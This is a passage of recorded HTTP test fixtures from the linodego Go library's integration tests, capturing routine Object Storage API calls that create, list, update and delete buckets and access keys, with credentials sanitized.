https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucketsInCluster_List.yaml000066400000000000000000000112501455402072200351170ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1 method: GET response: body: '{"page": 1, "pages": 1, "results": 1, "data": [{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "225" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageBuckets_List.yaml000066400000000000000000000112361455402072200333510ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: GET response: body: '{"page": 1, "pages": 1, "results": 1, "data": [{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "225" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageClusters_List.yaml000066400000000000000000000043721455402072200335600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/clusters method: GET response: body: '{"data": [{"id": "us-east-1", "region": "us-east", "status": "available", "domain": "us-east-1.linodeobjects.com", "static_site_domain": "website-us-east-1.linodeobjects.com"}, {"id": "eu-central-1", "region": "eu-central", "status": "available", "domain": "eu-central-1.linodeobjects.com", "static_site_domain": "website-eu-central-1.linodeobjects.com"}, {"id": "ap-south-1", "region": "ap-south", "status": "available", "domain": "ap-south-1.linodeobjects.com", "static_site_domain": "website-ap-south-1.linodeobjects.com"}, {"id": "us-southeast-1", "region": "us-southeast", "status": "available", "domain": "us-southeast-1.linodeobjects.com", "static_site_domain": "website-us-southeast-1.linodeobjects.com"}], "page": 1, "pages": 1, "results": 4}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "751" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageKey_GetFound.yaml000066400000000000000000000107631455402072200333050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 360684, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360684 method: GET response: body: '{"id": 360684, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "145" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360684 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageKey_GetMissing.yaml000066400000000000000000000021131455402072200336310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageKey_List.yaml000066400000000000000000000110421455402072200324740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 360686, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: GET response: body: '{"data": [{"id": 360686, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "194" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360686 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageKey_Update.yaml000066400000000000000000000106631455402072200330130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 360685, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": false, "bucket_access": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def_r"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360685 method: PUT response: body: '{"id": 360685, "label": "go-test-def_r", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": false, "bucket_access": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "147" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360685 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestObjectStorageKeys_Limited.yaml000066400000000000000000000064111455402072200333370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":[{"cluster":"us-east-1","bucket_name":"go-bucket-test-def","permissions":"read_only"},{"cluster":"us-east-1","bucket_name":"go-bucket-test-def","permissions":"read_write"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 360687, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": true, "bucket_access": [{"cluster": "us-east-1", "bucket_name": "go-bucket-test-def", "permissions": "read_only"}, {"cluster": "us-east-1", "bucket_name": "go-bucket-test-def", "permissions": "read_write"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "353" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360687 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageKeys_Limited_Bucket.yaml000066400000000000000000000057641455402072200345670ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "176" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageKeys_Limited_NoAccess.yaml000066400000000000000000000056361455402072200350460ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"label":"go-test-def","bucket_access":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 360688, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": true, "bucket_access": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "172" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/360688 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageObject_ACLConfig_Bucket_Delete.yaml000066400000000000000000000007341455402072200364720ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: {} url: https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=IdxQQkAugjpkQaXy6oLtekSeJGU%3D&Expires=1679683246&AWSAccessKeyID=SANITIZED method: DELETE response: body: "" headers: Connection: - keep-alive X-Amz-Request-Id: - tx000000ec506611737cbd6-00641ded47-40fa2286-default status: 204 No Content code: 204 duration: "" 